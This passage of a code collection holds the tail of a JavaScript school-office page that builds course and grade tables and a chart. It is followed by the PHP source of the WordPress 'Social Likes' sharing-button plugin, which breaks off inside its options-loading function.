gradeSet[gradeListJson.data.gradeList[i].gradeId] = gradeListJson.data.gradeList[i].gradeName; gradeNameArray[i] = gradeListJson.data.gradeList[i].gradeName; gradeIdNum[i] = 0; } gradeIdNum[row_length] = 0; } function fillCourseTable(teacherId, startTimeStr, endTimeStr){ var courseUrl = "/mySchool/office/getCourseList.action"; var params = "startTimeStr=" + startTimeStr + "&" + "endTimeStr=" + endTimeStr + "&" + "teacherId=" + teacherId + "&courseStatus=1"; var courseListJson = ajaxQuery(courseUrl, params); if(courseListJson.data.size == 0){ return; } var data = courseListJson.data; var row_length = data.size; var task_tbody = document.getElementById("couse_list_tbody"); for(var i = 0; i < row_length; i++){ var tr = document.createElement("tr"); var studentName = document.createElement("td"); studentName.innerHTML = data.course_list[i].studentName; tr.appendChild(studentName); var grade = document.createElement("td"); grade.innerHTML = gradeSet[data.course_list[i].gradeId]; tr.appendChild(grade); var subjectName = document.createElement("td"); subjectName.innerHTML = data.course_list[i].subjectName; tr.appendChild(subjectName); var courseTime = document.createElement("td"); courseTime.innerHTML = data.course_list[i].courseTime; tr.appendChild(courseTime); var time = document.createElement("td"); time.innerHTML = (new Date(data.course_list[i].time)).Format("yyyy-MM-dd hh:mm:ss"); tr.appendChild(time); var classroom = document.createElement("td"); classroom.innerHTML = data.course_list[i].classroom; tr.appendChild(classroom); gradeIdNum[data.course_list[i].gradeId] += 1; task_tbody.appendChild(tr); } } function drawGradeImg() { $(function() { $('#con_a_2').highcharts({ title: { text: '课程年级分布图', x: -20 //center }, xAxis: { categories: gradeNameArray }, yAxis: { title: { text: '课程年级学生数' }, plotLines: [{ value: 0, width: 1, color: '#808080' }] }, tooltip: { valueSuffix: '个' }, legend: { layout: 'vertical', align: 'right', verticalAlign: 'middle', borderWidth: 0 }, series: [{ name: '学生数', data: gradeIdNum.slice(1) }] }); }); } function initFinanceList() { var teacherGradeCostUrl = "/mySchool/finance/getTeacherGradeCostList.action"; var params = "teacherId=" + teacherId; var teacherJson = ajaxQuery(teacherGradeCostUrl, params); var task_tbody = document.getElementById("cost_list_tbody"); var data = teacherJson.data; var row_length = data.size; for (var i = 0; i < row_length; i++) { var tr = document.createElement("tr"); var grade = document.createElement("td"); grade.innerHTML = gradeSet[data.teacherList[i].gradeId]; tr.appendChild(grade); var cost = document.createElement("td"); cost.innerHTML = data.teacherList[i].cost; tr.appendChild(cost); task_tbody.appendChild(tr); } } function downloadCourse(){ var params = ""; params += "startTimeStr=" + startTimeStr + "&"; params += "endTimeStr=" + endTimeStr + "&"; params += "teacherId=" + teacherId; window.location.href = "/mySchool/office/downloadCourse.action?"+params; } </script> </html>
Java
<?php /* Plugin Name: Social Likes Description: Wordpress plugin for Social Likes library by Artem Sapegin (http://sapegin.me/projects/social-likes) Version: 5.5.7 Author: TS Soft Author URI: http://ts-soft.ru/en/ License: MIT Copyright 2014 TS Soft LLC (email: dev@ts-soft.ru ) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ class wpsociallikes { const OPTION_NAME_MAIN = 'sociallikes'; const OPTION_NAME_CUSTOM_LOCALE = 'sociallikes_customlocale'; const OPTION_NAME_PLACEMENT = 'sociallikes_placement'; const OPTION_NAME_SHORTCODE = 'sociallikes_shortcode'; const OPTION_NAME_EXCERPTS = 'sociallikes_excerpts'; var $lang; var $options; var $buttons = array( 'vk_btn', 'facebook_btn', 'twitter_btn', 'google_btn', 'pinterest_btn', 'lj_btn', 'linkedin_btn', 'odn_btn', 'mm_btn', 'email_btn' ); function wpsociallikes() { add_option(self::OPTION_NAME_CUSTOM_LOCALE, ''); add_option(self::OPTION_NAME_PLACEMENT, 'after'); add_option(self::OPTION_NAME_SHORTCODE, 'disabled'); add_option(self::OPTION_NAME_EXCERPTS, 'disabled'); add_action('init', array(&$this, 'ap_action_init')); add_action('wp_head', array(&$this, 'header_content')); add_action('wp_enqueue_scripts', array(&$this, 'header_scripts')); add_action('admin_menu', array(&$this, 'wpsociallikes_menu')); add_action('save_post', array(&$this, 'save_post_meta')); add_action('admin_enqueue_scripts', array(&$this, 'wpsociallikes_admin_scripts')); add_filter('the_content', array(&$this, 'add_social_likes')); // https://github.com/tssoft/wp-social-likes/issues/7 add_filter('the_excerpt_rss', array(&$this, 'exclude_div_in_RSS_description')); add_filter('the_content_feed', array(&$this, 'exclude_div_in_RSS_content')); add_filter('plugin_action_links', array(&$this, 'add_action_links'), 10, 2); add_shortcode('wp-social-likes', array(&$this, 'shortcode_content')); } function ap_action_init() { $this->load_options(); $custom_locale = $this->options['customLocale']; if ($custom_locale) { load_textdomain('wp-social-likes', plugin_dir_path( __FILE__ ).'/languages/wp-social-likes-'.$custom_locale.'.mo'); } else { load_plugin_textdomain('wp-social-likes', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/'); } $this->title_vkontakte = __('Share link on VK', 'wp-social-likes'); $this->title_facebook = __('Share link on Facebook', 'wp-social-likes'); $this->title_twitter = __('Share link on Twitter', 'wp-social-likes'); $this->title_plusone = __('Share link on Google+', 'wp-social-likes'); $this->title_pinterest = __('Share image on Pinterest', 'wp-social-likes'); $this->title_livejournal = __('Share link on LiveJournal', 'wp-social-likes'); $this->title_linkedin = __('Share link on LinkedIn', 'wp-social-likes'); $this->title_odnoklassniki = __('Share link on Odnoklassniki', 'wp-social-likes'); $this->title_mailru = __('Share link on Mail.ru', 'wp-social-likes'); $this->title_email = __('Share link by E-mail', 'wp-social-likes'); $this->label_vkontakte = __('VK', 'wp-social-likes'); $this->label_facebook = __('Facebook', 'wp-social-likes'); $this->label_twitter = __('Twitter', 'wp-social-likes'); $this->label_plusone = __('Google+', 'wp-social-likes'); $this->label_pinterest = __('Pinterest', 'wp-social-likes'); $this->label_livejournal = __('LiveJournal', 'wp-social-likes'); $this->label_linkedin = __('LinkedIn', 'wp-social-likes'); $this->label_odnoklassniki = __('Odnoklassniki', 'wp-social-likes'); $this->label_mailru = __('Mail.ru', 'wp-social-likes'); $this->label_email = __('E-mail', 'wp-social-likes'); $this->label_share = __('Share', 'wp-social-likes'); } function header_content() { $skin = str_replace('light', '', $this->options['skin']); if (($skin != 'classic') && ($skin != 'flat') && ($skin != 'birman')) { $skin = 'classic'; } ?> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/social-likes_<?php echo $skin ?>.css"> <?php if ($this->button_is_active('lj_btn')) { ?> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/livejournal.css"> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/livejournal_<?php echo $skin ?>.css"> <?php } if ($this->button_is_active('linkedin_btn')) { ?> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/linkedin.css"> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/linkedin_<?php echo $skin ?>.css"> <?php } if ($this->button_is_active('email_btn')) { ?> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/email.css"> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/email_<?php echo $skin ?>.css"> <?php } ?> <script src="<?php echo plugin_dir_url(__FILE__) ?>js/social-likes.min.js"></script> <?php if ($this->custom_buttons_enabled()) { ?> <script src="<?php echo plugin_dir_url(__FILE__) ?>js/custom-buttons.js"></script> <?php } } function header_scripts() { wp_enqueue_script('jquery'); } function wpsociallikes_admin_scripts() { wp_enqueue_script('jquery'); wp_enqueue_script('jquery-ui-sortable'); } function wpsociallikes_menu() { $post_opt = $this->options['post']; $page_opt = $this->options['page']; add_meta_box('wpsociallikes', 'Social Likes', array(&$this, 'wpsociallikes_meta'), 'post', 'normal', 'default', array('default'=>$post_opt)); add_meta_box('wpsociallikes', 'Social Likes', array(&$this, 'wpsociallikes_meta'), 'page', 'normal', 'default', array('default'=>$page_opt)); $args = array( 'public' => true, '_builtin' => false ); $post_types = get_post_types($args, 'names', 'and'); foreach ($post_types as $post_type ) { add_meta_box('wpsociallikes', 'Social Likes', array(&$this, 'wpsociallikes_meta'), $post_type, 'normal', 'default', array('default'=>$post_opt)); } $plugin_page = add_options_page('Social Likes', 'Social Likes', 'administrator', basename(__FILE__), array (&$this, 'display_admin_form')); add_action('admin_head-' . $plugin_page, array(&$this, 'admin_menu_head')); } function wpsociallikes_meta($post, $metabox) { if (!strstr($_SERVER['REQUEST_URI'], '-new.php')) { $checked = get_post_meta($post->ID, 'sociallikes', true); } else { $checked = $metabox['args']['default']; } if ($checked) { $img_url = get_post_meta($post->ID, 'sociallikes_img_url', true); if ($img_url == '' && $this->options['pinterestImg']) { $img_url = $this->get_post_first_img($post); } } else { $img_url = ''; } ?> <div id="social-likes"> <input type="hidden" name="wpsociallikes_update_meta" value="true" /> <div style="padding: 5px 0"> <input type="checkbox" name="wpsociallikes_enabled" id="wpsociallikes_enabled" <?php if ($checked) echo 'checked class="checked"' ?> title="<?php echo get_permalink($post->ID); ?>" /> <label for="wpsociallikes_enabled"><?php _e('Add social buttons', 'wp-social-likes') ?></label> </div> <table> <tr> <td><label for="wpsociallikes_image_url" style="padding-right:5px"><?php _e('Image&nbspURL:', 'wp-social-likes') ?></label></td> <td style="width:100%"> <input name="wpsociallikes_image_url" id="wpsociallikes_image_url" value="<?php echo $img_url ?>" <?php if (!$checked) echo 'disabled' ?> type="text" placeholder="<?php _e('Image URL (required for Pinterest)', 'wp-social-likes') ?>" style="width:100%" /> </td> </tr> </table> </div> <script> (function($) { var savedImageUrlValue = ''; $('input#wpsociallikes_enabled').change(function () { var $this = $(this); $this.toggleClass('checked'); var socialLikesEnabled = $this.hasClass('checked'); var imageUrlField = $('#wpsociallikes_image_url'); if (socialLikesEnabled) { imageUrlField .removeAttr('disabled') .val(savedImageUrlValue); } else { savedImageUrlValue = imageUrlField.val(); imageUrlField .attr('disabled', 'disabled') .val(''); } }); })( jQuery ); </script> <?php } function get_post_first_img($post) { $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); return $matches [1] [0]; } function save_post_meta($post_id) { if (!isset($_POST['wpsociallikes_update_meta']) || (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)) { return; } if ('page' == $_POST['post_type']) { if (!current_user_can('edit_page', $post_id)) { return; } } else { if (!current_user_can('edit_post', $post_id)) { return; } } update_post_meta($post_id, 'sociallikes', isset($_POST['wpsociallikes_enabled'])); $img_url_sent = isset($_POST['wpsociallikes_image_url']); $img_url = $img_url_sent ? $_POST['wpsociallikes_image_url'] : ''; if ($img_url_sent && $img_url == '' && $this->options['pinterestImg']) { $post = get_post($post_id); $img_url = $this->get_post_first_img($post); } update_post_meta($post_id, 'sociallikes_img_url', $img_url); } function add_social_likes($content = '') { global $post; if (in_the_loop() && get_post_meta($post->ID, 'sociallikes', true) && (is_page() || is_single() || $this->options['excerpts'] || !$this->is_post_with_excerpt())) { $this->lang = get_bloginfo('language'); $buttons = $this->build_buttons($post); $placement = $this->options['placement']; if ($placement != 'none') { if ($placement == 'before') { $content = $buttons . $content; } else if ($placement == 'before-after') { $content = $buttons . $content . $buttons; } else { $content .= $buttons; } } } return $content; } function is_post_with_excerpt() { global $page, $pages; $post_content = $pages[$page - 1]; return preg_match('/<!--more(.*?)?-->/', $post_content); } function build_buttons($post) { $twitter_via = $this->options['twitterVia']; //$twitter_rel = $this->options['twitterRel']; $look = $this->options['look']; $skin = $this->options['skin']; $light = false; if (strpos($skin, 'light')) { $light = true; $skin = str_replace('light', '', $skin); } $iconsOnly = $this->options['iconsOnly']; $label_vkontakte = $iconsOnly ? '' : $this->label_vkontakte; $label_facebook = $iconsOnly ? '' : $this->label_facebook; $label_twitter = $iconsOnly ? '' : $this->label_twitter; $label_plusone = $iconsOnly ? '' : $this->label_plusone; $label_pinterest = $iconsOnly ? '' : $this->label_pinterest; $label_livejournal = $iconsOnly ? '' : $this->label_livejournal; $label_linkedin = $iconsOnly ? '' : $this->label_linkedin; $label_odnoklassniki = $iconsOnly ? '' : $this->label_odnoklassniki; $label_mailru = $iconsOnly ? '' : $this->label_mailru; $label_email = $iconsOnly ? '' : $this->label_email; $socialButton['vk_btn'] = '<div class="vkontakte" title="'.$this->title_vkontakte.'">'.$label_vkontakte.'</div>'; $socialButton['facebook_btn'] = '<div class="facebook" title="'.$this->title_facebook.'">'.$label_facebook.'</div>'; $socialButton['twitter_btn'] = '<div class="twitter" '; if ($twitter_via != '') { $socialButton['twitter_btn'] .= 'data-via="' . $twitter_via . '" '; } /*if ($twitter_rel != '') { $socialButton['twitter_btn'] .= 'data-related="' . $twitter_rel . '" '; }*/ $socialButton['twitter_btn'] .= 'title="'.$this->title_twitter.'">'.$label_twitter.'</div>'; $socialButton['google_btn'] = '<div class="plusone" title="'.$this->title_plusone.'">'.$label_plusone.'</div>'; $img_url = get_post_meta($post->ID, 'sociallikes_img_url', true); $socialButton['pinterest_btn'] = '<div class="pinterest" title="' . $this->title_pinterest . '"'; if ($img_url != '') { $socialButton['pinterest_btn'] .= ' data-media="' . $img_url . '"'; } if ($img_url == '' && $this->options['pinterestImg']) { $socialButton['pinterest_btn'] .= ' data-media="' . $this->get_post_first_img($post) . '"'; } $socialButton['pinterest_btn'] .= '>' . $label_pinterest . '</div>'; $socialButton['lj_btn'] = '<div class="livejournal" title="' .$this->title_livejournal .'" data-html="&lt;a href=\'{url}\'&gt;{title}&lt;/a&gt;">' .$label_livejournal.'</div>'; $socialButton['linkedin_btn'] = '<div class="linkedin" title="'.$this->title_linkedin.'">'.$label_linkedin.'</div>'; $socialButton['odn_btn'] = '<div class="odnoklassniki" title="'.$this->title_odnoklassniki.'">'.$label_odnoklassniki.'</div>'; $socialButton['mm_btn'] = '<div class="mailru" title="'.$this->title_mailru.'">'.$label_mailru.'</div>'; $socialButton['email_btn'] = '<div class="email" title="'.$this->title_email.'">'.$label_email.'</div>'; $main_div = '<div class="social-likes'; $classAppend = ''; if ($iconsOnly) { $classAppend .= ' social-likes_notext'; } if (($skin == 'flat') && $light) { $classAppend .= ' social-likes_light'; } if ($look == 'h') { $main_div .= $classAppend.'"'; } elseif ($look == 'v') { $main_div .= ' social-likes_vertical'.$classAppend.'"'; } else { $main_div .= ' social-likes_single'.$classAppend.'" data-single-title="'.$this->label_share.'"'; } $main_div .= ' data-title="' . $post->post_title . '"'; $main_div .= ' data-url="' . get_permalink( $post->ID ) . '"'; $main_div .= $this->options['counters'] ? ' data-counters="yes"' : ' data-counters="no"'; $main_div .= $this->options['zeroes'] ? ' data-zeroes="yes"' : ''; $main_div .= '>'; foreach ($this->options['buttons'] as $btn) { if (in_array($btn, $this->buttons)) { $main_div .= $socialButton[$btn]; } } $main_div .= '</div><form style="display: none;" class="sociallikes-livejournal-form"></form>'; return $main_div; } function admin_menu_head() { ?> <link rel="stylesheet" id="sociallikes-style-classic" href="<?php echo plugin_dir_url(__FILE__) ?>css/social-likes_classic.css"> <link rel="stylesheet" id="sociallikes-style-flat" href="<?php echo plugin_dir_url(__FILE__) ?>css/social-likes_flat.css"> <link rel="stylesheet" id="sociallikes-style-birman" href="<?php echo plugin_dir_url(__FILE__) ?>css/social-likes_birman.css"> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/livejournal.css"> <link rel="stylesheet" id="sociallikes-style-classic-livejournal" href="<?php echo plugin_dir_url(__FILE__) ?>css/livejournal_classic.css"> <link rel="stylesheet" id="sociallikes-style-flat-livejournal" href="<?php echo plugin_dir_url(__FILE__) ?>css/livejournal_flat.css"> <link rel="stylesheet" id="sociallikes-style-birman-livejournal" href="<?php echo plugin_dir_url(__FILE__) ?>css/livejournal_birman.css"> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/linkedin.css"> <link rel="stylesheet" id="sociallikes-style-classic-linkedin" href="<?php echo plugin_dir_url(__FILE__) ?>css/linkedin_classic.css"> <link rel="stylesheet" id="sociallikes-style-flat-linkedin" href="<?php echo plugin_dir_url(__FILE__) ?>css/linkedin_flat.css"> <link rel="stylesheet" id="sociallikes-style-birman-linkedin" href="<?php echo plugin_dir_url(__FILE__) ?>css/linkedin_birman.css"> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/email.css"> <link rel="stylesheet" id="sociallikes-style-classic-email" href="<?php echo plugin_dir_url(__FILE__) ?>css/email_classic.css"> <link rel="stylesheet" id="sociallikes-style-flat-email" href="<?php echo plugin_dir_url(__FILE__) ?>css/email_flat.css"> <link rel="stylesheet" id="sociallikes-style-birman-email" href="<?php echo plugin_dir_url(__FILE__) ?>css/email_birman.css"> <link rel="stylesheet" href="<?php echo plugin_dir_url(__FILE__) ?>css/admin-page.css"> <script src="<?php echo plugin_dir_url(__FILE__) ?>js/social-likes.min.js"></script> <script src="<?php echo plugin_dir_url(__FILE__) ?>js/preview.js"></script> <?php } function display_admin_form() { if (isset($_POST['submit']) || isset($_POST['apply_to_posts']) || isset($_POST['apply_to_pages'])) { $this->submit_admin_form(); } if (isset($_POST['apply_to_posts'])) { $args = array('numberposts' => -1, 'post_type' => 'post', 'post_status' => 'any'); $result = get_posts($args); foreach ($result as $post) { update_post_meta($post->ID, 'sociallikes', isset($_POST['post_chb'])); } } if (isset($_POST['apply_to_pages'])) { $args = array('post_type' => 'page'); $result = get_pages($args); foreach ($result as $post) { update_post_meta($post->ID, 'sociallikes', isset($_POST['page_chb'])); } } $this->load_options(); $look = $this->options['look']; $counters = $this->options['counters']; $post = $this->options['post']; $page = $this->options['page']; $skin = $this->options['skin']; $light = false; if (strpos($skin, 'light')) { $light = true; } if (($skin != 'classic') && ($skin != 'flat') && ($skin != 'flatlight') && ($skin != 'birman')) { $skin = 'classic'; } $zeroes = $this->options['zeroes']; $iconsOnly = $this->options['iconsOnly']; $label["vk_btn"] = __("VK", 'wp-social-likes'); $label["facebook_btn"] = __("Facebook", 'wp-social-likes'); $label["twitter_btn"] = __("Twitter", 'wp-social-likes'); $label["google_btn"] = __("Google+", 'wp-social-likes'); $label["pinterest_btn"] = __("Pinterest", 'wp-social-likes'); $label["lj_btn"] = __("LiveJournal", 'wp-social-likes'); $label["linkedin_btn"] = __("LinkedIn", 'wp-social-likes'); $label["odn_btn"] = __("Odnoklassniki", 'wp-social-likes'); $label["mm_btn"] = __("Mail.ru", 'wp-social-likes'); $label["email_btn"] = __("E-mail", 'wp-social-likes'); $this->lang = get_bloginfo('language'); ?> <div class="wrap"> <h2><?php _e('Social Likes Settings', 'wp-social-likes') ?></h2> <form name="wpsociallikes" method="post" action="?page=wp-social-likes.php&amp;updated=true"> <?php wp_nonce_field('update-options'); ?> <input id="title_vkontakte" type="hidden" value="<?php echo $this->title_vkontakte ?>"> <input id="title_facebook" type="hidden" value="<?php echo $this->title_facebook ?>"> <input id="title_twitter" type="hidden" value="<?php echo $this->title_twitter ?>"> <input id="title_plusone" type="hidden" value="<?php echo $this->title_plusone ?>"> <input id="title_pinterest" type="hidden" value="<?php echo $this->title_pinterest ?>"> <input id="title_livejournal" type="hidden" value="<?php echo $this->title_livejournal ?>"> <input id="title_linkedin" type="hidden" value="<?php echo $this->title_linkedin ?>"> <input id="title_odnoklassniki" type="hidden" value="<?php echo $this->title_odnoklassniki ?>"> <input id="title_mailru" type="hidden" value="<?php echo $this->title_mailru ?>"> <input id="title_email" type="hidden" value="<?php echo $this->title_email ?>"> <input id="label_vkontakte" type="hidden" value="<?php echo $this->label_vkontakte ?>"> <input id="label_facebook" type="hidden" value="<?php echo $this->label_facebook ?>"> <input id="label_twitter" type="hidden" value="<?php echo $this->label_twitter ?>"> <input id="label_plusone" type="hidden" value="<?php echo $this->label_plusone ?>"> <input id="label_pinterest" type="hidden" value="<?php echo $this->label_pinterest ?>"> <input id="label_livejournal" type="hidden" value="<?php echo $this->label_livejournal ?>"> <input id="label_linkedin" type="hidden" value="<?php echo $this->label_linkedin ?>"> <input id="label_odnoklassniki" type="hidden" value="<?php echo $this->label_odnoklassniki ?>"> <input id="label_mailru" type="hidden" value="<?php echo $this->label_mailru ?>"> <input id="label_email" type="hidden" value="<?php echo $this->label_email ?>"> <input id="label_share" type="hidden" value="<?php echo $this->label_share ?>"> <input id="confirm_leaving_message" type="hidden" value="<?php _e('You have unsaved changes on this page. Do you want to leave this page and discard your changes?', 'wp-social-likes') ?>"> <table class="plugin-setup"> <tr valign="top"> <th scope="row"><?php _e('Skin', 'wp-social-likes') ?></th> <td class="switch-button-row"> <div style="float: left;"> <input type="radio" name="skin" id="skin_classic" class="view-state<?php if ($skin == 'classic') echo ' checked' ?>" value="classic" <?php if ($skin == 'classic') echo 'checked' ?> /> <label class="switch-button" for="skin_classic"><?php _e('Classic', 'wp-social-likes') ?></label> <input type="radio" name="skin" id="skin_flat" class="view-state<?php if ($skin == 'flat') echo ' checked' ?>" value="flat" <?php if ($skin == 'flat') echo ' checked' ?> /> <label class="switch-button" for="skin_flat"><?php _e('Flat', 'wp-social-likes') ?></label> <input type="radio" name="skin" id="skin_flatlight" class="view-state<?php if ($skin == 'flat') echo ' checked' ?>" value="flatlight" <?php if ($skin == 'flatlight') echo ' checked' ?> /> <label class="switch-button" for="skin_flatlight"><?php _e('Flat Light', 'wp-social-likes') ?></label> <input type="radio" name="skin" id="skin_birman" class="view-state<?php if ($skin == 'birman') echo ' checked' ?>" value="birman" <?php if ($skin == 'birman') echo ' checked' ?> /> <label class="switch-button" for="skin_birman"><?php _e('Birman', 'wp-social-likes') ?></label> </div> </td> </tr> <tr valign="top"> <th scope="row"><?php _e('Look', 'wp-social-likes') ?></th> <td class="switch-button-row"> <div style="float: left;"> <input type="radio" name="look" id="h_look" class="view-state<?php if ($look == 'h') echo ' checked' ?>" value="h" <?php if ($look == 'h') echo 'checked' ?> /> <label class="switch-button" for="h_look"<!--class="wpsl-label-->"><?php _e('Horizontal', 'wp-social-likes') ?></label> <input type="radio" name="look" id="v_look" class="view-state<?php if ($look == 'v') echo ' checked' ?>" value="v" <?php if ($look == 'v') echo ' checked' ?> /> <label class="switch-button" for="v_look"><?php _e('Vertical', 'wp-social-likes') ?></label> <input type="radio" name="look" id="s_look" class="view-state<?php if ($look == 's') echo ' checked' ?>" value="s" <?php if ($look == 's') echo ' checked' ?> /> <label class="switch-button" for="s_look"><?php _e('Single button', 'wp-social-likes') ?></label> </div> </td> </tr> <tr valign="top"> <th scope="row"></th> <td scope="row" class="without-bottom"> <div class="option-checkboxes"> <input type="checkbox" name="counters" id="counters" <?php if ($counters) echo 'checked' ?> /> <label for="counters" class="wpsl-label"><?php _e('Show counters', 'wp-social-likes') ?></label> </div> <div class="option-checkboxes" id="zeroes-container"> <input type="checkbox" name="zeroes" id="zeroes" <?php if ($zeroes) echo 'checked' ?> /> <label for="zeroes" class="wpsl-label"><?php _e('With zeroes', 'wp-social-likes') ?></label> </div> <div class="option-checkboxes" id="icons-container"> <input type="checkbox" name="icons" id="icons" <?php if ($iconsOnly) echo 'checked' ?> /> <label for="icons" class="wpsl-label"><?php _e('Icons only', 'wp-social-likes') ?></label> </div> </td> </tr> <tr valign="top"> <th class="valign-top" scope="row"><?php _e('Websites', 'wp-social-likes') ?></th> <td class="without-bottom"> <ul class="sortable-container"> <?php $remainingButtons = $this->buttons; for ($i = 1; $i <= count($label); $i++) { $btn = null; $checked = false; if ($i <= count($this->options['buttons'])) { $btn = $this->options['buttons'][$i - 1]; $index = array_search($btn, $remainingButtons, true); if ($index !== false) { array_splice($remainingButtons, $index, 1); $checked = true; } } if ($btn == null) { $btn = array_shift($remainingButtons); } $hidden = ($this->lang != 'ru-RU') && !$checked && ($btn == 'odn_btn' || $btn == 'mm_btn'); ?> <li class="sortable-item<?php if ($hidden) echo ' hidden' ?>"> <input type="checkbox" name="site[]" id="<?php echo $btn ?>" value="<?php echo $btn ?>" <?php if ($checked) echo 'checked' ?> /> <label for="<?php echo $btn ?>" class="wpsl-label"><?php echo $label[$btn] ?></label> </li> <?php } ?> </ul> <?php if ($this->lang != 'ru-RU' && !($this->button_is_active('odn_btn') && $this->button_is_active('mm_btn'))) { ?><span class="more-websites"><?php _e('More websites', 'wp-social-likes') ?></span><?php } ?> </td> </tr> <tr valign="top"> <th scope="row"><?php _e('Twitter Via', 'wp-social-likes') ?></th> <td> <input type="text" name="twitter_via" placeholder="<?php _e('Username', 'wp-social-likes') ?>" class="wpsl-field" value="<?php echo $this->options['twitterVia']; ?>" /> </td> </tr> <!--tr valign="top"> <th scope="row">Twitter Related</th> <td> <input type="text" name="twitter_rel" placeholder="Username:Description" class="wpsl-field" value="<?php echo $this->options['twitterRel']; ?>"/> </td> </tr--> <tr valign="top"> <th scope="row"></th> <td scope="row" class="without-bottom"> <input type="checkbox" name="pinterest_img" id="pinterest_img" <?php if ($this->options['pinterestImg']) echo 'checked' ?> /> <label for="pinterest_img" class="wpsl-label"><?php _e('Automatically place first image in the post/page to the Image URL field', 'wp-social-likes') ?></label> </td> </tr> <tr valign="top"> <th scope="row"></th> <td class="without-bottom"> <input type="checkbox" name="post_chb" id="post_chb" <?php if ($post) echo 'checked' ?> /> <label for="post_chb" class="wpsl-label"><?php _e('Add by default for new posts', 'wp-social-likes') ?></label> <input type="submit" name="apply_to_posts" id="apply_to_posts" value="<?php _e('Apply to existing posts', 'wp-social-likes') ?>" class="button-secondary"/> </td> </tr> <tr valign="top"> <th scope="row"></th> <td> <input type="checkbox" name="page_chb" id="page_chb" <?php if ($page) echo 'checked' ?> /> <label for="page_chb" class="wpsl-label"><?php _e('Add by default for new pages', 'wp-social-likes') ?></label> <input type="submit" name="apply_to_pages" id="apply_to_pages" value="<?php _e('Apply to existing pages', 'wp-social-likes') ?>" class="button-secondary" /> </td> </tr> </table> <div class="row"> <div id="preview" class="shadow-border" <?php if ($this->lang == 'ru-RU') echo 'language="ru"' ?> ></div> </div> <?php submit_button(); ?> </form> </div> <?php } function submit_admin_form() { $options = array( 'skin' => $_POST['skin'], 'look' => $_POST['look'], 'post' => isset($_POST['post_chb']), 'page' => isset($_POST['page_chb']), 'pinterestImg' => isset($_POST['pinterest_img']), 'twitterVia' => $_POST['twitter_via'], //'twitterRel' => $_POST['twitter_rel'], 'iconsOnly' => isset($_POST['icons']), 'counters' => isset($_POST['counters']), 'zeroes' => isset($_POST['zeroes']), 'buttons' => array() ); if (isset($_POST['site'])) { foreach ($_POST['site'] as $btn) { if (in_array($btn, $this->buttons)) { array_push($options['buttons'], $btn); } } } update_option(self::OPTION_NAME_MAIN, $options); $this->delete_deprecated_options(); } function exclude_div_in_RSS_description($content) { global $post; if (get_post_meta($post->ID, 'sociallikes', true)) { $index = strripos($content, ' '); $content = substr_replace($content, '', $index); } return $content; } function exclude_div_in_RSS_content($content) { if (is_feed()) { $content = preg_replace("/<div.*(class)=(\"|')social-likes(\"|').*>.*<\/div>/smUi", '', $content); } return $content; } function shortcode_content() { global $post; if ($this->options['shortcode']) { return $this->build_buttons($post); } return ''; } function add_action_links($all_links, $current_file) { if (basename(__FILE__) == basename($current_file)) { $plugin_file_name_parts = explode('/', plugin_basename(__FILE__)); $plugin_file_name = $plugin_file_name_parts[count($plugin_file_name_parts) - 1]; $settings_link = '<a href="' . admin_url('options-general.php?page=' . $plugin_file_name) . '">' . __('Settings', 'wp-social-likes') . '</a>'; array_unshift($all_links, $settings_link); } return $all_links; } function custom_buttons_enabled() { return $this->button_is_active('lj_btn') || $this->button_is_active('linkedin_btn') || $this->button_is_active('email_btn'); } function button_is_active($name) { return in_array($name, $this->options['buttons']); } function load_options() { $options = $this->load_deprecated_options(); if (!$options) { $options = get_option(self::OPTION_NAME_MAIN); if (!$options || !is_array($options)) { $options = array( 'counters' => true, 'look' => 'h', 'post' => true, 'skin' => 'classic' ); } if (!$options['buttons'] || !is_array($options['buttons'])) { $options['buttons'] = array(); for ($i = 0; $i < 4; $i++) { array_push($options['buttons'], $this->buttons[$i]); } } } $options['customLocale'] = get_option(self::OPTION_NAME_CUSTOM_LOCALE); $options['placement'] = get_option(self::OPTION_NAME_PLACEMENT); $options['shortcode'] = get_option(self::OPTION_NAME_SHORTCODE) == 'enabled'; $options['excerpts'] = get_option(self::OPTION_NAME_EXCERPTS) == 'enabled'; $defaultValues = array( 'look' => 'h', 'skin' => 'classic', 'twitterVia' => '', 'twitterRel' => '' ); foreach ($defaultValues as $key => $value) { if (!isset($options[$key]) || !$options[$key]) { $options[$key] = $value; } } $this->options = $options; } function load_deprecated_options() { if (!get_option('sociallikes_skin') || !get_option('sociallikes_look')) { return null; } $options = array( 'skin' => get_option('sociallikes_skin'), 'look' => get_option('sociallikes_look'), 'post' => get_option('sociallikes_post'), 'page' => get_option('sociallikes_page'), 'pinterestImg' => get_option('sociallikes_pinterest_img'), 'twitterVia' => get_option('sociallikes_twitter_via'), 'twitterRel' => get_option('sociallikes_twitter_rel'), 'iconsOnly' => get_option('sociallikes_icons'), 'counters' => get_option('sociallikes_counters'), 'zeroes' => 